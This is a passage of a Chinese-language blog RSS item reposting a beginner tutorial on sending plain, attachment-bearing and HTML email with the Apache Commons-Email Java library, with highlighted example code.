﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-kapok</title><link>http://www.blogjava.net/kapok/</link><description>垃圾桶,嘿嘿，我藏的这么深你们还能找到啊，真牛！</description><language>zh-cn</language><lastBuildDate>Tue, 28 Apr 2026 14:31:49 GMT</lastBuildDate><pubDate>Tue, 28 Apr 2026 14:31:49 GMT</pubDate><ttl>60</ttl><item><title>简化JavaMail：小巧 Jakarta Commons-Email 简单教程</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14460.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 14:09:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14460.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14460.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14460.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14460.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14460.html</trackback:ping><description><![CDATA[<H1 class=block_title><A id=viewpost1_TitleUrl HREF="/martinx/archive/2005/09/29/14386.html">简化JavaMail：小巧 Jakarta Commons-Email 简单教程</A></H1>
<P class=block_title><BR><A href="http://www.blogjava.net/kapok/martinx/archive/2005/09/29/14386.html">http://www.blogjava.net/martinx/archive/2005/09/29/14386.html</A></P>
<DIV class=post>
<DIV class=postcontent>Jakarta发布了Commons Emails 1.0 released 版本，目的是为了简化JavaMail。<BR><BR>知道有它几个class吗？你一定想不到，只有8个！<BR><BR>好了，开始我们的jakarta commons emails 之旅：）<BR><BR>一：Quick Start<BR>通过SimpleEmail发送邮件<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">java.lang.Object<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;org.apache.commons.mail.Email<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.SimpleEmail</SPAN></DIV><BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">SimpleEmail&nbsp;email&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;SimpleEmail();<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHostName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">mail.4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setAuthentication(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;username&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;password&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.addTo(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin.xus@gmail.com</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setFrom(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin@4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">6</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setSubject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">测试主题</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">7</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">这里是邮件内容</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">8</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.send();</SPAN></DIV><BR>就如代码里字面上的意思一样简单:<BR>1：创建以SimpleEmail对象<BR>2：设定发送信件的smtp服务器，如果没有设定，会寻找系统变量中mail.host值。<BR>3：设定smtp的用户和密码<BR>4：收件人<BR>5：发件人<BR>6：主题<BR>7：内容<BR>8：发送<BR><BR>二：发送带附件的邮件<BR>我们可以发送本机的附件，当然我们也可以发送非本机的附件，如果发送的是一个存在网络上的附件的url,则邮件发送的时候会自动下载，添加到附件中。<BR><BR>&nbsp;&nbsp; 1：）发送本地附件：<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">EmailAttachment&nbsp;attachment&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;EmailAttachment();<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setPath(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">test/test.rar</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDisposition(EmailAttachment.ATTACHMENT);<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDescription(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">python&nbsp;resource</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">resource</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN></DIV><BR>&nbsp;&nbsp; 2：）发送不存在本地的附件<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">EmailAttachment&nbsp;attachment&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;EmailAttachment();<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setURL(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;URL(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">http://www.smilinglibrary.org/sldoc/pics/index03.jpg</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">));<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDisposition(EmailAttachment.ATTACHMENT);<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDescription(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">微笑图书馆</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">微笑图书馆</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN></DIV><BR><BR>next,添加附件到我们的邮件中<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">&nbsp;1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">MultiPartEmail&nbsp;email&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;MultiPartEmail();<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHostName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">mail.4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>&nbsp;3&nbsp;&nbsp;&nbsp; email.setAuthentication(<SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;username&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;password&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)</SPAN><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.addTo(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin.xus@gmail.com</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setFrom(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin@4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;6</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setSubject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">邮件主题</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;7</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">邮件内容</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;8</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">添加附件</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;9</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.attach(attachment);<BR></SPAN><SPAN style="COLOR: #008080">10</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">11</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">发送邮件</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">12</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.send();</SPAN></DIV><BR>如果需要发送多个附件，只需创建多个EmailAttachement,即可<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">email.attach(attachment1)<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.attach(attachment2)</SPAN></DIV><BR>三：发送html格式的邮件<BR>通过HtmlEmail我们可以发送Html格式的邮件：<BR><BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">java.lang.Object<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;org.apache.commons.mail.Email<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.MultiPartEmail<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.HtmlEmail<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN></DIV><BR>如下：<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">&nbsp;1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">HtmlEmail!</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;2</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">HtmlEmail&nbsp;email&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;HtmlEmail();<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHostName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">mail.4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>&nbsp;3&nbsp;&nbsp;&nbsp;email.setAuthentication(<SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;username&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;password&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)</SPAN><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.addTo("martin@4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;6</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setFrom("martin.xus@gmail.com</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;7</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setSubject(</SPAN><SPAN style="COLOR: #000000">"主题：该邮件包括html格式内容</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;8</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;embed&nbsp;the&nbsp;image&nbsp;and&nbsp;get&nbsp;the&nbsp;content&nbsp;id<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;9</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;注意这里：embed&nbsp;将帮助我们创建标签如：cid:xxx&nbsp;url</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">10</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">URL&nbsp;url&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;URL(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">http://www.apache.org/images/asf_logo_wide.gif</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">11</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>String&nbsp;cid&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;email.embed(url,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Apache&nbsp;logo</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">12</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">13</SPAN><SPAN style="COLOR: #000000"><IMG id=Codehighlighter1_419_557_Open_Image onclick="this.style.display='none'; Codehighlighter1_419_557_Open_Text.style.display='none'; Codehighlighter1_419_557_Closed_Image.style.display='inline'; Codehighlighter1_419_557_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_419_557_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_419_557_Closed_Text.style.display='none'; Codehighlighter1_419_557_Open_Image.style.display='inline'; Codehighlighter1_419_557_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align=top></SPAN><SPAN id=Codehighlighter1_419_557_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**&nbsp;*/</SPAN><SPAN id=Codehighlighter1_419_557_Open_Text><SPAN style="COLOR: #008000">/**</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">14</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align=top>set&nbsp;the&nbsp;html&nbsp;message<BR></SPAN><SPAN style="COLOR: #008080">15</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align=top>我们看到HtmlEmail&nbsp;extends&nbsp;Email的，它依然有setMsg()，但是这里发送的邮件包括了插入在邮件内容中的图片，所以不能在使用了setMsg(),而要以setHtmlMsg&nbsp;或setTextMsg代码<BR></SPAN><SPAN style="COLOR: #008080">16</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>*</SPAN><SPAN style="COLOR: #008000">*/</SPAN></SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #008080">17</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHtmlMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;html&gt;The&nbsp;apache&nbsp;logo&nbsp;-&nbsp;&lt;img&nbsp;src=\</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">cid:</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+cid+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">\</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;&lt;/html&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">18</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">19</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;set&nbsp;the&nbsp;alternative&nbsp;message</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">20</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.setTextMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Your&nbsp;email&nbsp;client&nbsp;does&nbsp;not&nbsp;support&nbsp;HTML&nbsp;messages</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">21</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">22</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">set&nbsp;mail</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">23</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.send();<BR></SPAN><SPAN style="COLOR: #008080">24</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN></DIV><BR>四：最后一步 <BR><FONT face="Courier New">如果需要实现更复杂authenticator 你可以extends javax.mail.Authenticator</FONT> ,实现你自己的东西，然后调用<FONT 